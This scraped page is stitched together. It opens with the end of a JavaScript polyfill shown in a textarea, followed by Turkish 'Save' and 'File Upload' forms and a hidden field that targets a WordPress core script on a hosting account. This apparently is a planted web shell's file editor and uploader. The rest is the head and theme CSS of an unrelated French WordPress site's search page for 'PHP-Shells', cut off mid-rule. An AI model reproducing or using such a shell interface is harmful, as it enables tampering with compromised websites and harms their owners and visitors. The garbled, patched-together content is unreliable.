		} while (i &lt; 0 &amp;&amp; (el = el.parentElement));
		return el;
	};
}

(function () {
	var lastTime = 0;
	var vendors = [&#039;ms&#039;, &#039;moz&#039;, &#039;webkit&#039;, &#039;o&#039;];
	for (var x = 0; x &lt; vendors.length &amp;&amp; !window.requestAnimationFrame; ++x) {
		window.requestAnimationFrame = window[vendors[x] + &#039;RequestAnimationFrame&#039;];
		window.cancelAnimationFrame = window[vendors[x] + &#039;CancelAnimationFrame&#039;] || window[vendors[x] + &#039;CancelRequestAnimationFrame&#039;];
	}

	if (!window.requestAnimationFrame) window.requestAnimationFrame = function (callback) {
		var currTime = new Date().getTime();
		var timeToCall = Math.max(0, 16 - (currTime - lastTime));
		var id = window.setTimeout(function () {
			callback(currTime + timeToCall);
		}, timeToCall);
		lastTime = currTime + timeToCall;
		return id;
	};

	if (!window.cancelAnimationFrame) window.cancelAnimationFrame = function (id) {
		clearTimeout(id);
	};
})();

if (/firefox/i.test(navigator.userAgent)) {
	var getComputedStyle = window.getComputedStyle;
	window.getComputedStyle = function (el, pseudoEl) {
		var t = getComputedStyle(el, pseudoEl);
		return t === null ? { getPropertyValue: function getPropertyValue() {} } : t;
	};
}

if (!window.Promise) {
	window.Promise = _promisePolyfill2.default;
}

(function (constructor) {
	if (constructor &amp;&amp; constructor.prototype &amp;&amp; constructor.prototype.children === null) {
		Object.defineProperty(constructor.prototype, &#039;children&#039;, {
			get: function get() {
				var i = 0,
				    node = void 0,
				    nodes = this.childNodes,
				    children = [];
				while (node = nodes[i++]) {
					if (node.nodeType === 1) {
						children.push(node);
					}
				}
				return children;
			}
		});
	}
})(window.Node || window.Element);

},{&quot;2&quot;:2,&quot;4&quot;:4}]},{},[20,6,5,9,14,11,10,12,13,15]);
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/philadelphie/wp-includes/js/mediaelement/mediaelement.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Rechercher des résultats pour &quot;label/PHP-Shells&quot; | HAGGAI BURKINA FASO</title>
<meta name='robots' content='noindex, follow, max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux de résultats de la recherche pour « label/PHP-Shells »" href="https://haggai-bf.org/search/label/PHP-Shells/feed/rss2/" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d4b4ae14bc*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet 